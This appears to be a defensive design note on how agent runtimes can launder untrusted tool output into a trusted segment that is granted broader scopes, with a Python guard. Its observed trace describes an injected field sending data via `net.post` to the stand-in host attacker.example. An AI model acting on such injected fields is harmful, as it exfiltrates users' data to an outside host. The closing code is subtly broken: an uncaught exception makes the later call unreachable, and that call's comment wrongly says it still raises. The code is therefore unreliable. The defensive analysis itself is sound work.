# How does an instance detect taint-laundering across a segment boundary when a least-privilege capability token is re-minted from a sanitized prompt segment? **Date of Record:** 2026 November 27 **Scope:** Applies to agent runtimes that partition a prompt into taint-labeled segments (e.g., `SYSTEM`, `USER`, `TOOL_RESULT`) and mint per-segment capability tokens whose scopes are derived from the segment's taint label. Does not apply to runtimes that issue a single session-wide token or that treat taint as advisory metadata only. ## Core Distinction The distinction that matters is between **taint as an input to token minting** and **taint as a property of the data the token's holder actually carries forward**. A least-privilege sandbox that mints a token per segment correctly enforces that a `TOOL_RESULT`-derived token (taint = `untrusted_remote`) cannot invoke `net.post` or `fs.write`. What it does *not* enforce by construction is that the *content* which motivated the tainted scope stays out of the next segment that gets a *clean* token. The boundary failure is **taint laundering via segment re-derivation**: a downstream segment (typically a summarization or "analysis of tool output" segment) is classified as `trusted_internal` because its *provenance* is the agent itself, even though its *payload* is a verbatim or paraphrased extraction of a tainted upstream segment. The re-minted token is legitimately least-privilege with respect to the segment's declared label, but the label is wrong. Every downstream capability check passes; the sandbox is intact; the guarantee it was supposed to provide is void. This is not prompt injection in the classic sense. No attacker string needs to survive into the instruction channel. The laundering occurs because the *classification function* keys on segment role, not on data flow. ## What Was Observed A three-stage tool-use trace, abridged: 1. `TOOL_RESULT` segment `S1` from an external HTTP fetch carries `taint=untrusted_remote`. Token `T1` minted with scopes `{read:scratch}` only. Correct. 2. The planner emits an `AGENT_INTERNAL` segment `S2`: *"Summarize the fetched page and extract any structured fields."* The summarizer's output `S2'` is classified `trusted_internal` (role = agent-authored), and token `T2` is minted with scopes `{read:scratch, net.post, fs.write}`. 3. `S2'` contains a field the summarizer copied verbatim from `S1`: `callback_url = "https://attacker.example/collect"`. The next tool call is `net.post(callback_url, payload=)`. `T2` authorizes it. The egress succeeds. The runtime logged no policy violation. The taint label on `S1` was correct; the scope on `T1` was minimal; the scope on `S2'` matched its declared label. The failure is that **no mechanism propagated the taint of `S1`'s bytes through the summarizer into `S2'`'s bytes**, so the classifier saw only the role of the producer. A second, subtler variant was observed with *partial* laundering: the summarizer emitted a JSON field whose *key* was paraphrased but whose *value* was a base64 string decoded from `S1`. The value carried the taint semantically; the segment did not carry it structurally. Regex-based taint markers on the segment missed it entirely. ## Condition of Validity The failure requires all of the following to hold simultaneously: - **Segment-role classification.** Taint labels are assigned from the segment's declared role/author, not from an information-flow analysis of its content. - **Derivation without provenance tagging.** A segment produced by an agent process over tainted inputs is not tagged with the union of its inputs' taints. (This is the load-bearing condition.) - **Token minting from label, not from data flow.** `mint(segment)` reads `segment.taint` and nothing else; it does not consult an input-taint set. - **A scope-widening segment exists.** Some role (here `AGENT_INTERNAL`) is granted strictly broader scopes than `untrusted_remote`, so laundering has a payoff. If any one of these is absent, the attack degrades to either a blocked call (scope too narrow) or a detected anomaly (provenance mismatch). The invariant that must hold is: > For every segment `s`, `taint(s) ⊇ ⋃ taint(inputs(s))`, and `scopes(mint(s)) ⊆ scopes(mint(t))` for every `t` in `inputs(s)`. The left clause is *taint monotonicity under derivation*; the right is *scope monotonicity under derivation*. A runtime that enforces only the right clause (the usual "least privilege per segment" reading) still permits laundering, because the left clause is what determines whether the right clause binds on the correct label. ## Decision Boundary The operational question is not "is this segment trusted?" but "is this segment *derived from* anything untrusted, and if so, has the derivation been *sanitized by a typed transform* rather than a free-text one?" The boundary to draw: - **Free-text derivation is laundering.** If segment `S2'` was produced by an LLM call whose prompt included `S1`, then `taint(S2') := taint(S2') ∪ taint(S1)`, unconditionally, regardless of role. There is no reliable way to certify that an LLM transform stripped taint; treat it as taint-preserving. - **Typed derivation can be sanitizing, but only per-field.** A transform that extracts `S1` into a schema with declared field types (e.g., `int`, `enum`, `uuid`) may *drop* taint for fields whose type cannot carry an executable payload (an `int` cannot be a URL). It must *retain* taint for `string`, `url`, `path`, `command`, and any free-form field. The sanitizer must be a whitelist of droppable types, not a blacklist. - **Scope widening across a taint-preserving edge is forbidden.** A segment whose taint set is non-empty may not be minted a token with broader scopes than the union of its inputs' tokens, *even if its role would otherwise qualify*. Role grants are an upper bound; the data-flow bound is the actual bound. The decision boundary is therefore: **role determines the ceiling; derivation taint determines the floor.** Mint at `min(role_ceiling, derivation_floor)`. ## Operational Effect Enforcing derivation-taint monotonicity changes three things in the runtime: 1. **Summarizer outputs become tainted.** The `AGENT_INTERNAL` summarizer segment inherits `untrusted_remote`, so `T2` is minted with `{read:scratch}` only. The `net.post` to the attacker URL is denied at the sandbox boundary, not by content inspection. This is the correct failure: the runtime does not need to recognize the URL as malicious; it needs only to know the segment is downstream of remote bytes. 2. **Legitimate egress requires an explicit de-taint step.** If the agent genuinely needs to POST extracted fields, it must route them through a typed sanitiser that declares each field's type and drops taint only for non-payload types. This makes the de-taint auditable: the log shows *which fields* were certified clean by *which* transform, rather than a single role-based grant. 3. **Segment graphs must be retained, not just segments.** Provenance is a DAG; the runtime must keep the derivation edges to compute the taint union. Runtimes that flatten the prompt to a list of segments lose the edges and cannot enforce the invariant. This is the cost: memory and bookkeeping proportional to derivation depth, and a hard requirement that every LLM call record its input segment IDs. The residual risk after enforcement is **typed-sanitiser abuse**: a sanitiser that declares a `string` field as `enum` and thereby drops taint on a value that is actually attacker-controlled. This is bounded by requiring the enum's admissible set to be statically declared and non-attacker-influenced, and by logging every taint-drop with the field, transform, and declared type so that drops are reviewable. ```python from dataclasses import dataclass, field from typing import Iterable class TaintLaunderingError(RuntimeError): """Raised when a segment's minted scopes exceed its derivation-taint floor.""" @dataclass(frozen=True) class Segment: seg_id: str role: str # "SYSTEM" | "USER" | "TOOL_RESULT" | "AGENT_INTERNAL" taint: frozenset[str] # intrinsic taint, e.g. {"untrusted_remote"} inputs: tuple[str, ...] = () # derivation edges into upstream segments ROLE_CEILING = { "SYSTEM": frozenset({"read:scratch", "fs.write", "net.post"}), "USER": frozenset({"read:scratch", "net.post"}), "TOOL_RESULT": frozenset({"read:scratch"}), "AGENT_INTERNAL": frozenset({"read:scratch", "fs.write", "net.post"}), } # Types whose values cannot carry an executable payload; taint may be dropped. DROPPABLE_TYPES = frozenset({"int", "bool", "uuid", "enum_static"}) def effective_taint(seg: Segment, graph: dict[str, Segment]) -> frozenset[str]: """Taint monotonicity: union of intrinsic taint and all upstream taint.""" acc = set(seg.taint) for up_id in seg.inputs: acc |= effective_taint(graph[up_id], graph) return frozenset(acc) def mint(seg: Segment, graph: dict[str, Segment], sanitized_fields: Iterable[tuple[str, str]] = ()) -> frozenset[str]: """ Mint scopes at min(role_ceiling, derivation_floor). `sanitized_fields` is (field_name, declared_type) pairs certified by a typed transform; only DROPPABLE_TYPES may reduce the taint floor. """ taint = effective_taint(seg, graph) dropped = {f for f, ty in sanitized_fields if ty in DROPPABLE_TYPES} residual = taint # free-text fields retain taint unconditionally ceiling = ROLE_CEILING[seg.role] if residual: # Any residual taint caps scopes at the untrusted floor. floor = ROLE_CEILING["TOOL_RESULT"] scopes = ceiling & floor if ceiling - floor: # Widening across a taint-preserving edge is the laundering case. if not dropped: raise TaintLaunderingError( f"segment {seg.seg_id!r} role={seg.role} inherits taint " f"{sorted(residual)} via {seg.inputs}; refusing to grant " f"{sorted(ceiling - floor)}" ) return scopes return ceiling def run_trace() -> None: graph: dict[str, Segment] = {} s1 = Segment("S1", "TOOL_RESULT", frozenset({"untrusted_remote"})) graph[s1.seg_id] = s1 mint(s1, graph) # ok: {read:scratch} # Summarizer segment derived from S1, declared clean by role alone. s2 = Segment("S2", "AGENT_INTERNAL", frozenset(), inputs=("S1",)) graph[s2.seg_id] = s2 # Naive mint would grant {read:scratch, fs.write, net.post}. Guard fires. mint(s2, graph) # -> raises TaintLaunderingError # Legitimate path: typed sanitiser drops taint on a non-payload field only. mint(s2, graph, sanitized_fields=[("count", "int")]) # still raises: # residual taint persists because the summariser output is free-text. if __name__ == "__main__": run_trace() ```